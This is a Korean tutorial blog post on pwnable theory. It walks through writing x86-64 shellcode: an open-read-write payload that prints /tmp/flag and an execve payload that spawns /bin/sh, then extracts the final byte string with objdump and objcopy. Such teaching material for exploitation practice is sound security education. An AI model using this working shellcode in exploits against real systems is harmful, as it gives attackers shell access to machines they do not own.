Shell Code

Pwnable/이론 / / 2022. 6. 20. 17:51
반응형

셸코드(Shellcode)는 익스플로잇을 위해 제작된 어셈블리 코드 조각이다.

 

일반적으로 셸을 획득하기 위한 목적으로 셸코드를 사용해서, 특별히 “셸”이 접두사로 붙게 되었다.

 

만약 해커가 rip를 자신이 작성한 셸코드로 옮길 수 있으면 해커는 원하는 어셈블리 코드가 실행되게 할 수 있다.

셸코드는 어셈블리어로 구성되므로 공격을 수행할 대상 아키텍처와 운영체제에 따라, 그리고 셸코드의 목적에 따라 다르게 작성되게 된다.

 

파일 읽고 쓰기(open-read-write, orw), 셸 획득(execve)의 쉘코드를 작성해보자.

 

 

ORW 쉘코드

orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드인데,

이 쉘코드를 구현하기 위해 C언어로 먼저 구현해보면

char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30); 
write(1, buf, 0x30);

이런 식으로 구현 되는데, 파일 열고 쓰기를 하는 fopen이나 printf같은 함수를 사용하지 않고,

open함수와 read함수와 write함수 같은 것들을 사용하는 이유는 간단하기 때문이다.

 

printf함수나 fopen함수는 함수가 호출되기 까지 여러 작업들을 거치기 때문에 이 중간 작업을 전부 어셈블리 코드로 작성 해야 하는데 그렇게 되면 시간도 낭비되고 구현하기 어렵기 때문에 시스템과 제일 가깝고 구현하기 쉬운 위 3개의 함수를 사용하여 orw쉘코드를 작성 하는 것이다.

 

orw 셸코드를 작성하기 위해 알아야 하는 syscall은 아래와 같다.

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
read 0x00 unsigned int fd char *buf size_t count
write 0x01 unsigned int fd const char *buf size_t count
open 0x02 const char *filename int flags umode_t mode

syscall을 할때 인자값으로 넘겨주는 레지스터는 정해져 있으므로 어셈블리로 쉽게 작성할 수 있다.

 

 

1. int fd = open(“/tmp/flag”, O_RDONLY, NULL)

 “/tmp/flag”라는 문자열을 메모리에 위치시키기 위해 스택에 push 한다.

push 0x67 ;g
mov rax, 0x616c662f706d742f ;alf/pmt
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

rax에는 최대로 8바이트만 들어갈 수 있기 때문에 먼저 push g를 해주고 나머지를 레지스터에 넣고 push 해준다.

그리고 open의 syscall을 구현하기 위해 인자값에 대응하는 레지스터에 값을 넣어주고 syscall을 진행한다.

 

2. read(fd, buf, 0x30)

open의 리턴값은 rax에 담겨있고

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

open 인자값에 대응하는 레지스터에 값을 넣어주고 syscall을 진행한다.

 

여기서 fd(File Descriptor)는 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자며,

0번은 일반 입력(Standard Input, STDIN),

1번은 일반 출력(Standard Output, STDOUT),

2번은 일반 오류(Standard Error, STDERR)에 할당되어 있다.

 

3. write(1, buf, 0x30)

출력은 stdout으로 할 것이므로, rdi를 0x1로 설정하고, rsi와 rdx는 read에서 사용한 값을 그대로 사용한다.

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

write호출을 위해 사용되는 인자값인 1을 넣어주고 호출한다.

 

 

 

이 3개의 어셈블리 코드들을 하나의 파일로 만들어 기계어로 컴파일하여 실행하면 CPU는 명령에 따를 수 있지만,

프로그램을 실행할 때 바로 cpu로 요청을 하는 것이 아니라 운영체제를 거쳐서 요청하기 때문에 운영체제에 맞는 실행 방식을 갖추어 컴파일을 해야한다.

 

그렇기 때문에 형식만 정해진 스켈레톤 코드를 사용하여 운영체제에 맞게 어셈블리 코드를 컴파일 해준다.

// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "push 0x67\n"
    "mov rax, 0x616c662f706d742f \n"
    "push rax\n"
    "mov rdi, rsp    # rdi = '/tmp/flag'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"
    "\n"
    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"
    "\n"
    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"
    "\n"
    "xor rdi, rdi      # rdi = 0\n"
    "mov rax, 0x3c	   # rax = sys_exit\n"
    "syscall		   # exit(0)");
void run_sh();
int main() { run_sh(); }

 

 

tmp/flag로 파일을 생성하고, 컴파일한 프로그램을 실행 해보면

파일이 출력 되는 것을 볼 수 있다.

 

 

 

2. execve 셸코드 

셸(Shell, 껍질)이란 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스며

셸을 획득하면 시스템을 제어할 수 있게 되므로 통상적으로 셸 획득을 시스템 해킹의 성공이라고 여긴다.

최신의 리눅스는 대부분 sh, bash를 기본 셸 프로그램으로 탑재하고 있기 때문에

 /bin/sh를 실행하는 execve 셸코드를 작성해보자.

 

1. execve(“/bin/sh”, null, null)

execve 셸코드는 execve 시스템 콜만으로 구성되며, 인자값에 대응하는 레지스터로는

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
execve 0x3b const char *filename const char *const *argv const char *const *envp

리눅스에서는 기본 실행 프로그램들이 /bin/ 디렉토리에 저장되어 있기 때문에 해당 경로로 이동하여 실행시켜주는 코드를 작성하면 된다.

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

또한 이것도 orw와 같이 운영체제에 맞게 컴파일 해줘야 하므로 스켈레톤 코드를 사용하여 컴파일 해준다.

 

__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"
    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");
void run_sh();
int main() { run_sh(); }

컴파일 후 실행해보면,

원래 사용하던 zsh쉘에서 sh쉘로 변경된 모습이다.

 

 

objdump 

지금까지는 어셈블리 코드를 실행 파일로 만들어 확인 했지만 이것을 쉘코드로 추출하는 방법을 알아보자.

운영체제에 따라서 컴파일 해주었지만 이번에는 어셈블리 양식에 맞추어 컴파일 해준다.

//File name: shellcode.asm
section .text
global _start
_start:
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

1. nasm -f elf shellcode.asm 

2. objdump -d shellcode.o

3. objcopy --dump-section .text=shellcode.bin shellcode.o

 

이 세개의 명령어를 실행하는데,

instruction not supported in 32-bit mode 해당 오류가 뜨면 1번에서 elf를 elf64로 변경하여 컴파일 해주자.

 

4. xxd shellcode.bin

 

그 뒤에 4번 명령어를 실행해주면,

이런식으로 쉘코드가 나오게 된다.

이걸 문자열로 정리하면

"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05"
이런 쉘 코드가 나오게 되는 것이다.

이 쉘코드 문자열을 여러 공격기법에 사용할 수 있다.

반응형

'Pwnable > 이론' 카테고리의 다른 글

Return Address Overwrite  (0) 2022.06.27
Stack Buffer Overflow  (0) 2022.06.22
Calling convention  (0) 2022.06.20